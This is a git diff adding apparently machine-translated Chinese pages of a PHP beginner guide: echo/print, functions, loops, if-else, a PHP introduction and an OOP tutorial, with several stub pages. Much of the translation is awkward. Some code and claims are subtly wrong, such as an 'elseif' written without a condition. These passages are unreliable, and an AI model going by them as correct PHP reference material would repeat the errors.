+++ b/client/src/guide/chinese/php/forms/validating-form-input/index.md
@@ -0,0 +1,11 @@
+---
+title: Validating Form Input
+localeTitle: 验证表单输入
+---
+## 验证表单输入
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/validating-form-input/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/functions/cookies/index.md b/client/src/guide/chinese/php/functions/cookies/index.md
new file mode 100644
index 0000000000..d4757f186a
--- /dev/null
+++ b/client/src/guide/chinese/php/functions/cookies/index.md
@@ -0,0 +1,11 @@
+---
+title: Cookies
+localeTitle: 曲奇饼
+---
+## 饼干
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/cookies/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/functions/date/index.md b/client/src/guide/chinese/php/functions/date/index.md
new file mode 100644
index 0000000000..2a84a0d003
--- /dev/null
+++ b/client/src/guide/chinese/php/functions/date/index.md
@@ -0,0 +1,11 @@
+---
+title: Date
+localeTitle: 日期
+---
+## 日期
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/date/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/functions/die-and-exit/index.md b/client/src/guide/chinese/php/functions/die-and-exit/index.md
new file mode 100644
index 0000000000..c70537811b
--- /dev/null
+++ b/client/src/guide/chinese/php/functions/die-and-exit/index.md
@@ -0,0 +1,22 @@
+---
+title: Die and Exit
+localeTitle: 死亡和退出
+---
+## 死亡和退出
+
+`die()`和`exit()`函数是相同的。它们每个都带有一个包含错误消息的参数（一个字符串）。在运行时，它们输出消息并立即停止执行脚本。
+
+```PHP
+<?php 
+ die('Die() function was run'); 
+```
+
+```PHP
+<?php 
+ exit('Exit() function was run'); 
+```
+
+#### 更多信息：
+
+*   [php.net die（）手册](https://secure.php.net/manual/en/function.die.php)
+*   [php.net exit（）手册](https://secure.php.net/manual/en/function.exit.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/functions/echo-and-print/index.md b/client/src/guide/chinese/php/functions/echo-and-print/index.md
new file mode 100644
index 0000000000..cfb39412e1
--- /dev/null
+++ b/client/src/guide/chinese/php/functions/echo-and-print/index.md
@@ -0,0 +1,46 @@
+---
+title: Echo and Print
+localeTitle: 回声和打印
+---
+## 回声和打印
+
+echo和print函数提供了一种将变量或参数的值写出到屏幕的方法。
+
+### 回声
+
+`echo()`函数将变量或参数的值写出到屏幕。
+
+```PHP
+<?php 
+ echo "freeCodeCamp"; 
+```
+
+注意：打开PHP标记和回显的简便方法是<？=
+```
+<?= "freeCodeCamp"; ?> 
+```
+
+### 打印
+
+`print()`函数输出屏幕变量或参数的值。
+
+```PHP
+<?php 
+ print "freeCodeCamp"; 
+```
+
+### 的print\_r
+
+`print_r()`函数将任何变量（例如数组）或参数的值写出到屏幕上，这与回声或打印功能相比更为有限。
+
+```PHP
+<?php 
+ $freecodecamp = "freeCodeCamp"; 
+ print_r($freecodecamp); 
+```
+
+#### 更多信息：
+
+*   [php.net echo（）手册](https://secure.php.net/manual/en/function.echo.php)
+*   [php.net print（）手册](https://secure.php.net/manual/en/function.print.php)
+*   [php.net print\_r（）手册](https://secure.php.net/manual/en/function.print-r.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/functions/files/file-reading/index.md b/client/src/guide/chinese/php/functions/files/file-reading/index.md
new file mode 100644
index 0000000000..690527132a
--- /dev/null
+++ b/client/src/guide/chinese/php/functions/files/file-reading/index.md
@@ -0,0 +1,11 @@
+---
+title: File Reading
+localeTitle: 文件阅读
+---
+## 文件阅读
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/reading/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/functions/files/file-uploading/index.md b/client/src/guide/chinese/php/functions/files/file-uploading/index.md
new file mode 100644
index 0000000000..e18790cb3f
--- /dev/null
+++ b/client/src/guide/chinese/php/functions/files/file-uploading/index.md
@@ -0,0 +1,11 @@
+---
+title: File Uploading
+localeTitle: 文件上传
+---
+## 文件上传
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/uploading/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/functions/files/file-writing/index.md b/client/src/guide/chinese/php/functions/files/file-writing/index.md
new file mode 100644
index 0000000000..8f81de7263
--- /dev/null
+++ b/client/src/guide/chinese/php/functions/files/file-writing/index.md
@@ -0,0 +1,11 @@
+---
+title: File Writing
+localeTitle: 文件写作
+---
+## 文件写作
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/writing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/functions/files/index.md b/client/src/guide/chinese/php/functions/files/index.md
new file mode 100644
index 0000000000..219e116eab
--- /dev/null
+++ b/client/src/guide/chinese/php/functions/files/index.md
@@ -0,0 +1,17 @@
+---
+title: Files
+localeTitle: 档
+---
+## 档
+
+PHP提供了几种处理文件的功能。这些函数允许开发人员启用用户文件上传，php用于读取和使用文件中的数据，最后用于php将数据写入文件。
+
+#### 更多信息：
+
+*   [php.net readfile（）手册](https://secure.php.net/manual/en/function.readfile.php)
+*   [php.net fopen（）手册](https://secure.php.net/manual/en/function.fopen.php)
+*   [php.net fread（）手册](https://secure.php.net/manual/en/function.fread.php)
+*   [php.net fclose（）手册](https://secure.php.net/manual/en/function.fclose.php)
+*   [php.net fgets（）手册](https://secure.php.net/manual/en/function.fgets.php)
+*   [php.net feof（）手册](https://secure.php.net/manual/en/function.feof.php)
+*   [php.net fgetc（）手册](https://secure.php.net/manual/en/function.fgetc.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/functions/index.md b/client/src/guide/chinese/php/functions/index.md
new file mode 100644
index 0000000000..f1622cc30f
--- /dev/null
+++ b/client/src/guide/chinese/php/functions/index.md
@@ -0,0 +1,45 @@
+---
+title: Functions
+localeTitle: 功能
+---
+## PHP函数简介
+
+函数是可以在程序中重复使用的语句块。
+
+### 简单的功能+通话
+
+```php
+function say_hello() { 
+  return "Hello!"; 
+ } 
+ 
+ echo say_hello(); 
+```
+
+### 简单功能+参数+调用
+
+```php
+function say_hello($friend) { 
+  return "Hello " . $friend . "!"; 
+ } 
+ 
+ echo say_hello('Tommy'); 
+```
+
+### strtoupper - 让所有的Chars变得更大和更大！
+
+```php
+function makeItBIG($a_lot_of_names) { 
+  foreach($a_lot_of_names as $the_simpsons) { 
+    $BIG[] = strtoupper($the_simpsons); 
+  } 
+  return $BIG; 
+ } 
+ 
+ $a_lot_of_names = ['Homer', 'Marge', 'Bart', 'Maggy', 'Lisa']; 
+ var_dump(makeItBIG($a_lot_of_names)); 
+```
+
+#### 更多信息：
+
+*   [php.net用户定义的函数手册](https://secure.php.net/manual/en/functions.user-defined.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/functions/time/index.md b/client/src/guide/chinese/php/functions/time/index.md
new file mode 100644
index 0000000000..c8bd1966b0
--- /dev/null
+++ b/client/src/guide/chinese/php/functions/time/index.md
@@ -0,0 +1,24 @@
+---
+title: Time
+localeTitle: 时间
+---
+## 时间
+
+`time()`函数返回当前的unix时间戳（自Unix Epoch以来的秒数 - 1970年1月1日00:00:00 GMT）。
+
+### 例
+
+```php
+<?php 
+ echo time(); 
+```
+
+**输出：**
+
+```text
+1511732226 
+```
+
+#### 更多信息：
+
+*   [php.net time（）手册](https://secure.php.net/manual/en/function.time.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/hello-world/index.md b/client/src/guide/chinese/php/hello-world/index.md
new file mode 100644
index 0000000000..bea8efa82d
--- /dev/null
+++ b/client/src/guide/chinese/php/hello-world/index.md
@@ -0,0 +1,48 @@
+---
+title: PHP - Hello World
+localeTitle: PHP  -  Hello World
+---
+## PHP - Hello World
+
+PHP脚本在服务器上执行。
+
+在继续之前，您应该对以下内容有基本的了解：
+
+### HTML
+
+### CSS
+
+### JavaScript的
+
+PHP文件可以包含Text，HTML，CSS，JavaScript和PHP代码。 在服务器上执行PHP脚本，并将纯HTML结果发送回浏览器。
+
+PHP脚本以`<?php`开头，以`?>`结尾：
+
+```php
+<?php 
+ // PHP code goes here 
+ ?> 
+```
+
+要么 你也可以写一个以`<?php`开头的PHP脚本，不用`?>`结束：
+
+```php
+<?php 
+ // PHP code goes here 
+```
+
+下面，我们有一个简单的PHP文件示例，其中一个PHP脚本使用内置的PHP函数“echo”来输出文本“Hello World！”。在网页上：
+
+```php
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ echo "My first PHP script!"; 
+ ?> 
+ 
+ </body> 
+ </html> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/if-else-statement/index.md b/client/src/guide/chinese/php/if-else-statement/index.md
new file mode 100644
index 0000000000..666a7cf19d
--- /dev/null
+++ b/client/src/guide/chinese/php/if-else-statement/index.md
@@ -0,0 +1,47 @@
+---
+title: If-else Statement
+localeTitle: If-else声明
+---
+## 介绍
+
+如果/ Else是条件陈述，其中取决于条件的真实性，将执行不同的动作。
+
+> **注意：**仅当条件具有多个操作语句时才需要`{}`括号。
+
+## 如果声明
+```
+  if (condition){ 
+    statement1; 
+    statement2; 
+  } 
+```
+
+> **注意：** `else`语句是可选的。
+> 
+> ## 如果/ Else声明
+```
+  if (condition){ 
+    statement1; 
+    statement2; 
+  } 
+  else{ 
+    statement3; 
+    statement4; 
+  } 
+```
+
+## 如果/ Elseif / Else声明
+```
+  if (condition){ 
+    statement1; 
+    statement2; 
+  } 
+  elseif{ 
+    statement3; 
+    statement4; 
+  } 
+  else 
+    statement5; 
+```
+
+有关更多信息，请查看以下链接： [PHP Else](http://php.net/manual/en/control-structures.elseif.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/index.md b/client/src/guide/chinese/php/index.md
new file mode 100644
index 0000000000..2157b9ca2d
--- /dev/null
+++ b/client/src/guide/chinese/php/index.md
@@ -0,0 +1,107 @@
+---
+title: PHP
+localeTitle: PHP
+---
+![logo](https://upload.wikimedia.org/wikipedia/commons/thumb/2/27/PHP-logo.svg/150px-PHP-logo.svg.png "PHP徽标")
+
+## 什么是PHP？
+
+PHP是Rasmus Lerdorf于1995年创建的服务器端脚本语言。
+
+PHP是一种广泛使用的开源通用脚本语言，特别适用于Web开发，可以嵌入到HTML中。
+
+## PHP的缩写代表什么？
+
+最初PHP代表“个人主页”，因为Rasmus Lerdorf创建它可以在他自己的网站上使用。然后在1997年，更多的开发人员扩展了语言和 首字母缩略词也改为今天的代表：'PHP：Hypertext Preprocessor'。由于PHP中的第一个“P”也代表“PHP”，因此它被称为“递归缩写”。
+
+## 什么是PHP用于？
+
+截至2017年10月，在[82％的服务器端语言已知的网站](https://w3techs.com/technologies/overview/programming_language/all)上使用PHP。它是 通常在网站上用于动态生成网页内容。用例包括：
+
+*   网站和Web应用程序（服务器端脚本）
+*   命令行脚本
+*   桌面（GUI）应用程序
+
+通常，它以第一种形式用于动态生成网页内容。例如，如果您有博客网站，则可以编写一些PHP脚本进行检索 您的博客文章来自数据库并显示它们。 PHP脚本的其他用途包括：
+
+*   处理和保存表单数据中的用户输入
+*   设置和使用网站cookie
+*   限制访问您网站的某些页面
+
+## PHP如何工作？
+
+所有PHP代码仅在Web服务器上执行，而不是在本地计算机上执行。例如，如果您在网站上填写表单并提交表单，或者单击指向用PHP编写的网页的链接，则计算机上不会运行任何实际的PHP代码。相反，表单数据或网页请求被发送到Web服务器以由PHP脚本处理。然后，Web服务器将处理过的HTML发送给您（名称中的“超文本预处理器”来自），并且Web浏览器显示结果。因此，您无法看到网站的PHP代码，只能看到PHP脚本生成的HTML。
+
+如下图所示：
+
+![PHP服务器模型](https://github.com/xeroxism/myImages/blob/master/FCC_guides/PHP-server-model.png?raw=true)
+
+PHP是一种解释型语言。这意味着当您对源代码进行更改时，您可以立即测试这些更改，而无需首先将源代码编译为二进制形式。跳过编译步骤可以使开发过程更快。
+
+PHP代码包含在`<?php`和`?>`标记之间，然后可以嵌入到HTML中。
+
+## 安装
+
+PHP可以安装或不安装Web服务器。
+
+### GNU / Linux的
+
+在基于Debian的GNU / Linux发行版上，您可以通过以下方式安装：
+
+```bash
+sudo apt install php 
+```
+
+安装完成后，只需在终端中执行此操作即可运行任何PHP文件：
+```
+php file.php 
+```
+
+您还可以安装localhost服务器来运行PHP网站。要安装Apache Web Server：
+```
+sudo apt install apache2 libapache2-mod-php 
+```
+
+## PHP可以做什么？
+
+*   PHP可以生成动态页面内容
+*   PHP可以在服务器上创建，打开，读取，写入，删除和关闭文件
+*   PHP可以收集表单数据
+*   PHP可以发送和接收cookie
+*   PHP可以添加，删除，修改数据库中的数据
+*   PHP可用于控制用户访问
+*   PHP可以加密数据
+
+## 为何选择PHP？
+
+*   PHP在各种平台上运行（Windows，Linux，Unix，Mac OS X等）
+*   PHP与当今使用的几乎所有服务器兼容（Apache，IIS等）
+*   PHP支持广泛的数据库
+*   PHP是免费的。从官方PHP资源下载它： [secure.php.net](https://secure.php.net/)
+*   PHP易于学习并在服务器端高效运行
+
+## PHP框架
+
+由于为大多数项目编写网站的整个代码并不实际/可行，因此大多数开发人员倾向于使用框架进行Web开发。使用框架的优点是
+
+*   每次创建项目时都不需要重新发明轮子，很多细微差别已经得到了照顾
+*   它们通常结构良好，因此有助于分离关注点
+*   大多数框架都倾向于遵循该语言的最佳实践
+*   它们中的很多都遵循MVC（模型 - 视图 - 控制器）模式，因此它将表示层与逻辑层分开
+
+## 流行的框架
+
+*   [Laravel](https://laravel.com/)
+*   [Symfony的](https://symfony.com/)
+*   [Zend公司](http://www.zend.com/)
+*   [CakePHP的](https://cakephp.org/)
+
+## 文档
+
+PHP有[很好的文档记录](http://php.net/docs.php) 。 [官方文档](http://php.net/manual/en/)包括几乎所有函数参考指南的示例，以及用户注释。
+
+## 其他资源
+
+*   [Tizag.com PHP教程](http://www.tizag.com/phpT/) ： [关于PHP](http://www.tizag.com/phpT/)入门的相关教程
+*   [令人敬畏的PHP](https://github.com/ziadoz/awesome-php) ：PHP库，资源和“闪亮的东西”的精选列表
+*   [Laracasts.com](https://laracasts.com/) ：一个会员网站，用PHP学习Web应用程序开发
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/loop/index.md b/client/src/guide/chinese/php/loop/index.md
new file mode 100644
index 0000000000..4c416d778d
--- /dev/null
+++ b/client/src/guide/chinese/php/loop/index.md
@@ -0,0 +1,165 @@
+---
+title: Loop
+localeTitle: 环
+---
+# PHP循环
+
+当您需要多次重复相同的任务时，您可以使用循环而不是一遍又一遍地添加相同的代码。 在PHP中有以下循环语句：
+
+*   for - 循环遍历具有特定次数的代码块。
+*   while - 如果条件为真，则循环遍历代码块。
+*   do ... while - 循环遍历代码块1并在条件为真时继续循环。
+*   foreach - 循环遍历数组中每个值的代码块。
+
+在循环中使用`break`可以停止循环执行。
+
+# 对于循环
+
+循环遍历具有特定次数的代码块。
+
+## 句法
+```
+for (init counter; condition; counter increment or decrement) 
+ { 
+    // Code to be executed 
+ } 
+```
+
+## 例
+
+```php
+<?php 
+ for($index = 0; $index < 5; $index ++) 
+ { 
+    echo "Current loop counter ".$index.".\n"; 
+ } 
+ ?> 
+```
+
+## 产量
+```
+> Current loop counter 0. 
+ > Current loop counter 1. 
+ > Current loop counter 2. 
+ > Current loop counter 3. 
+ > Current loop counter 4. 
+```
+
+# 循环
+
+如果条件为真，则循环遍历代码块。
+
+## 句法
+```
+while (condition) 
+ { 
+    // Code to be executed 
+ } 
+```
+
+## 例
+
+```php
+<?php 
+ $index = 10; 
+ while ($index >= 0) 
+ { 
+    echo "The index is ".$index.".\n"; 
+    $index--; 
+ } 
+ ?> 
+```
+
+## 产量
+```
+> The index is 10. 
+ > The index is 9. 
+ > The index is 8. 
+ > The index is 7. 
+ > The index is 6. 
+ > The index is 5. 
+ > The index is 4. 
+ > The index is 3. 
+ > The index is 2. 
+ > The index is 1. 
+ > The index is 0. 
+```
+
+# 做......循环
+
+循环遍历代码块1并在条件为真时继续循环。
+
+## 句法
+```
+do 
+ { 
+    // Code to be executed 
+ } 
+ while (condition); 
+```
+
+## 例
+
+```php
+<?php 
+ $index = 3; 
+ do 
+ { 
+    // execute this at least 1 time 
+    echo "Index: ".$index.".\n"; 
+    $index --; 
+ } 
+ while ($index > 0); 
+ ?> 
+```
+
+## 产量
+```
+> Index: 3. 
+ > Index: 2. 
+ > Index: 1. 
+```
+
+# Foreach循环
+
+循环遍历数组中每个值的代码块。
+
+## 句法
+```
+foreach ($array as $value) 
+ { 
+    // Code to be executed 
+ } 
+```
+
+## 例
+
+```php
+<?php 
+ $array = ["Ali", "Ah Kao", "Muthu", "Gwen", "Lucida", "Cecily", "Arthur", "Flora"]; 
+ foreach ($array as $name) 
+ { 
+    echo "Hi, my name is ".$name.".\n"; 
+ 
+    if ($name == "Cecily") 
+    { 
+        echo "\"Hello, ".$name."!\""; 
+ 
+        // stop the loop if name is Cecily 
+        break; 
+    } 
+ } 
+ ?> 
+```
+
+## 产量
+```
+> Hi, my name is Ali. 
+ > Hi, my name is Ah Kao. 
+ > Hi, my name is Muthu. 
+ > Hi, my name is Gwen. 
+ > Hi, my name is Lucida. 
+ > Hi, my name is Cecily. 
+ > "Hello, Cecily!" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/loops/for-loop/index.md b/client/src/guide/chinese/php/loops/for-loop/index.md
new file mode 100644
index 0000000000..cb74335051
--- /dev/null
+++ b/client/src/guide/chinese/php/loops/for-loop/index.md
@@ -0,0 +1,76 @@
+---
+title: For Loop
+localeTitle: 对于循环
+---
+## 对于循环
+
+PHP `for`语句由三个表达式和一个语句组成：
+
+`for ((initialization); (condition); (final-expression)) statement`
+
+### 描述
+
+*   初始化
+    *   在循环上第一次执行之前运行。
+    *   此表达式通常用于创建计数器。
+    *   这里创建的变量的范围是循环。循环完成后，执行它们就会被销毁。
+*   条件
+    *   在每次迭代执行之前检查的表达式。
+    *   如果省略，则此表达式的计算结果为`true` 。
+*   最终表达
+    *   每次迭代后运行的表达式。
+    *   通常用于增加计数器。
+    *   但它可以用来运行任何表达式。
+*   声明
+    *   在每次循环迭代中重复的代码。
+
+可以省略这三个表达式或语句中的任何一个。
+
+表达式可以包含用逗号分隔的多个表达式。
+
+在（condition）表达式中，将评估所有逗号分隔的表达式。
+
+结果从最后一个获得。
+
+For循环通常用于计算一定数量的迭代以重复语句。
+
+### 常见的陷阱
+
+#### 超过数组的边界
+
+当多次索引数组时，很容易超出数组的边界（例如，尝试引用3元素数组的第4个元素）。
+
+```php
+// This will cause an error. 
+ // The bounds of the array will be exceeded. 
+ $arr = array(1,2,3); 
+ 
+ for ($i = 0; $i <= count($arr); $i++) { 
+    var_dump($arr[$i]); 
+ } 
+```
+
+这将输出：
+
+```txt
+int(1) int(2) int(3) NULL 
+```
+
+有办法修复此代码。
+
+将条件设置为`$i < count($arr)`或`$i <= count($arr) - 1` 。
+
+#### 性能问题
+
+上面的代码可能会变慢，因为在每次迭代中都会获取数组大小。
+
+为了解决这个问题，可以将数组大小放入变量中。
+
+```php
+//create the $size variable with a second expression comma separated 
+ for ($i = 0, $size = count($arr); $i < $size; ++$i) { 
+```
+
+### 更多信息
+
+*   [PHP.net - 控制结构](https://secure.php.net/manual/en/control-structures.for.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/loops/index.md b/client/src/guide/chinese/php/loops/index.md
new file mode 100644
index 0000000000..f1bb78302c
--- /dev/null
+++ b/client/src/guide/chinese/php/loops/index.md
@@ -0,0 +1,17 @@
+---
+title: Loops
+localeTitle: 循环
+---
+## 循环
+
+循环在PHP中用于根据条件执行重复任务。
+
+条件通常在分析时返回`true`或`false` 。
+
+循环将继续运行，直到定义的条件返回`false` 。
+
+您可以键入`php for` ， `php while`或`php do while`以获取有关这些内容的更多信息。
+
+### 更多信息
+
+*   [PHP.net - For循环](https://secure.php.net/manual/control-structures.for.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/loops/while-loop/index.md b/client/src/guide/chinese/php/loops/while-loop/index.md
new file mode 100644
index 0000000000..554c2349ed
--- /dev/null
+++ b/client/src/guide/chinese/php/loops/while-loop/index.md
@@ -0,0 +1,50 @@
+---
+title: While Loop
+localeTitle: 而Loop
+---
+## 而Loop
+
+`while loop`是PHP中最简单的循环类型之一。它执行语句块，直到表达式求值为**TRUE** 。如果表达式的值在执行时发生变化，则循环运行直到表达式求值为**FALSE。While**循环的基本形式如下：
+
+```shell
+while (expr) 
+    statement 
+```
+
+while循环中的语句可以包含在花括号中，也可以根据以下语法使用：
+
+```shell
+while (expr): 
+    statement 
+    ... 
+ endwhile; 
+```
+
+使用示例说明while循环的简单和替代语法：
+
+```php
+<?php 
+ 
+ /* using the simple form of while loop */ 
+ 
+ $i = 1;  /* initialisation part */ 
+ 
+ while ($i <= 100 && $i!=5 ) 
+ { 
+    echo $i++; 
+ } 
+ 
+ /*using the alternate synatx of while loop*/ 
+ 
+ $i = 0; 
+ 
+ while ($i <= 10): 
+    echo $i++; 
+ endwhile; 
+ 
+ ?> 
+```
+
+#### 更多信息
+
+[while循环 - PHP文档](http://php.net/manual/en/control-structures.while.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/object-oriented-programming/index.md b/client/src/guide/chinese/php/object-oriented-programming/index.md
new file mode 100644
index 0000000000..b63b09f1f9
--- /dev/null
+++ b/client/src/guide/chinese/php/object-oriented-programming/index.md
@@ -0,0 +1,333 @@
+---
+title: Object Oriented Programming
+localeTitle: 面向对象编程
+---
+## 面向对象编程
+
+顾名思义，面向对象编程是关于对象的。您基本上是在尝试创建一个整齐地组织在对象中的软件。这种方法使代码可以使用可重用的组件进行扩展。
+
+### MAN CLASS
+
+假设您想创建一个关于男性的程序。
+
+普通男人有各种各样的共同点，比如给予坚定的握手，顽固，不要把卫生纸卷回来，爱上最新的小玩意儿等等。这些可以被描述为Man对象的行为或方法。
+
+男性也有自己独特的特征，如年龄，身高，喜欢的运动，喜欢的饮料等。这些可以被描述为Man对象的属性或属性。
+
+考虑到这些，创建一个Man类不再那么困难了。所以，该计划将是这样的。
+
+```php
+<?php 
+ 
+ class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ } 
+```
+
+### 男人对象
+
+现在我们有了这个_Man_类，我们可以通过创建一个称为类实例化的类的实例来创建任何特定的人。
+
+```php
+<?php 
+ 
+ // Create a Man object called "Jack" (ie instantiation) 
+ $jack = new Man(); 
+ 
+ // Set values to Jack's attributes 
+ $jack->name = "Jack"; 
+ $jack->age = 30; 
+ $jack->height = "6 feet"; 
+ $jack->fav_sports = ["basketball", "soccer"]; 
+ $jack->fav_drinks = ["coffee", "green tea"]; 
+ 
+ // Print out Jack's attributes and values 
+ echo "Our man's name is: " . $jack->name . "\n"; 
+ echo "He is " . $jack->age . " years old and " . $jack->height . " tall."; 
+ 
+ echo "His favorite sports are: "; 
+ foreach ($jack->fav_sports as $sport) { 
+    echo $sport . " "; 
+ } 
+ 
+ echo "\nHis favorite drinks are: "; 
+ foreach ($jack->fav_drinks as $drink) { 
+    echo $drink . " "; 
+ } 
+ 
+ // Print out Jack's behaviors common to all men (hint: defined in Man class) 
+ echo "\nHe said these are some of his behaviors common to other men: "; 
+ echo "\n\t" . $jack->giveFirmHandshakes(); 
+ echo "\n\t" . $jack->beStubborn(); 
+ echo "\n\t" . $jack->notPutToiletPaper(); 
+```
+
+在这里你可以看到一个名叫杰克的男人被创造了名为“杰克”，身高“6英尺”，最喜欢的体育“篮球和足球”和最喜欢的饮料“咖啡和绿茶”。这些属性称为实例变量。
+
+然后，他有所有男人的行为，如坚定的握手，顽固，不回放卫生纸。所有这些行为都称为实例方法。
+
+### CONSTRUCTORS
+
+到目前为止，我们通过实例化该类创建了一个名为“Man”的类和一个名为“Jack”的对象。我们还给杰克提供了他的属性（姓名，身高，最喜欢的运动和饮料）的价值观，并称他的行为对所有男人来说都是共同的（给予坚定的握手，保持顽固，不要把卫生纸放回去）。
+
+让我们更进一步，让Jack在我们创建Jack对象时开始自我介绍，而不必像以下那样单独打印出来：
+
+```php
+<?php 
+ // Print out Jack's attributes and values 
+ echo "Our man's name is: " . $jack->name . "\n"; 
+ echo "He is " . $jack->age . " years old and " . $jack->height . " tall."; 
+```
+
+这是构造者发挥作用的地方。构造函数基本上是在创建对象时调用的特殊方法。
+
+因此，我们的想法是在我们通过实例化Man类创建“Jack”对象时打印出Jack的名字，年龄和身高。为了实现这一点，我们需要在创建对象时指定名称，年龄和高度，如下所示：
+
+```php
+<?php 
+ // Create a Man object called "Jack" 
+ $jack = new Man('Jack', 30, '6 feet'); 
+```
+
+此代码告诉Man类创建一个具有3个参数的对象：名称为“Jack”，年龄为30，高度为“6英尺”。
+
+现在我们在实例化类时已经传递了这些参数，我们可以很容易地使用它们来构造构造函数方法。
+
+```php
+<?php 
+ // Create a constructor method with 3 required parameters: name, age and height 
+ public function __construct($name, $age, $height) 
+ { 
+    // Print out to say "object created" 
+    echo "object created\n"; 
+ 
+    // Assign the values of parameters to properties 
+    // Also known as instance variables 
+    // Using "$this->property_name" 
+    $this->name = $name; 
+    $this->age = $age; 
+    $this->height = $height; 
+ 
+    // Print out Jack's attributes and values 
+    echo "Our man's name is: " . $this->name . "\n"; 
+    echo "He is " . $this->age . " years old and " . $this->height . " tall."; 
+ } 
+```
+
+所以，现在每当我们实例化Man类时，我们需要输入3个参数，它们将立即打印出来。
+
+```php
+<?php 
+ // Create a Man object called "Jack" 
+ $jack = new Man('Jack', 30, '6 feet'); 
+```
+
+`Object created` `Our man's name is: Jack` `He is 30 years old and 6 feet tall.`
+
+使用构造函数的完整代码将是这样的：
+
+```php
+<?php 
+ 
+ class Man 
+ { 
+    // 1. Declare the properties 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    // 2. Create a constructor method with 3 required parameters: name, age and height 
+    public function __construct($name, $age, $height) 
+    { 
+        // 2A. Assign the values of parameters to class properties 
+        // Also known as instance variables 
+        // Using "$this->property_name" 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+ 
+        // 2B. Print out Jack's attributes and values 
+        echo "Our man's name is: " . $this->name . "\n"; 
+        echo "He is " . $this->age . " years old and " . $this->height . " tall."; 
+    } 
+ 
+    // 3. Create methods 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ } 
+ 
+ // 4. Create a Man object called "Jack" 
+ // This will print out the echo statements inside "__construct" method inside the class 
+ $jack = new Man('Jack', 30, '6 feet'); 
+ 
+ // 5. Set values to Jack's favorite sports and drinks 
+ $jack->fav_sports = ["basketball", "soccer"]; 
+ $jack->fav_drinks = ["coffee", "green tea"]; 
+ 
+ // Print out Jack's favorite sports and drinks 
+ echo "His favorite sports are: "; 
+ foreach ($jack->fav_sports as $sport) { 
+    echo $sport . " "; 
+ } 
+ 
+ echo "\nHis favorite drinks are: "; 
+ foreach ($jack->fav_drinks as $drink) { 
+    echo $drink . " "; 
+ } 
+ 
+ // Print out Jack's behaviors common to all men 
+ // (hint: defined in Man class) 
+ echo "\nHe said these are some of his behaviors common to other men: "; 
+ echo "\n\t" . $jack->giveFirmHandshakes(); 
+ echo "\n\t" . $jack->beStubborn(); 
+ echo "\n\t" . $jack->notPutToiletPaper(); 
+```
+
+现在，我们不必单独设置杰克的名字，年龄和身高，再打印出来。每当我们创建Jack对象时，我们只需将其属性指定为参数，它们将在构造函数的帮助下自动打印。如果我们想要的话，我们也可以把他最喜欢的运动和饮料放在参数中
+
+在创建对象时将它们指定为参数 将回显线放在构造函数中。 您可以访问此处以获取有关构造函数的PHP实现的更多信息。我们的OOP之旅缓慢但稳定。
+
+### 保持男人的秘密
+
+如果你注意到所有类变量（name，age，height，fav _sports和fav_ drink）都在Man类中声明为public。现在，在创建一个Man对象之后，我们只需调用它们即可访问所有属性：
+
+```php
+<?php 
+ echo $jack->name; 
+ echo $jack->height; 
+```
+
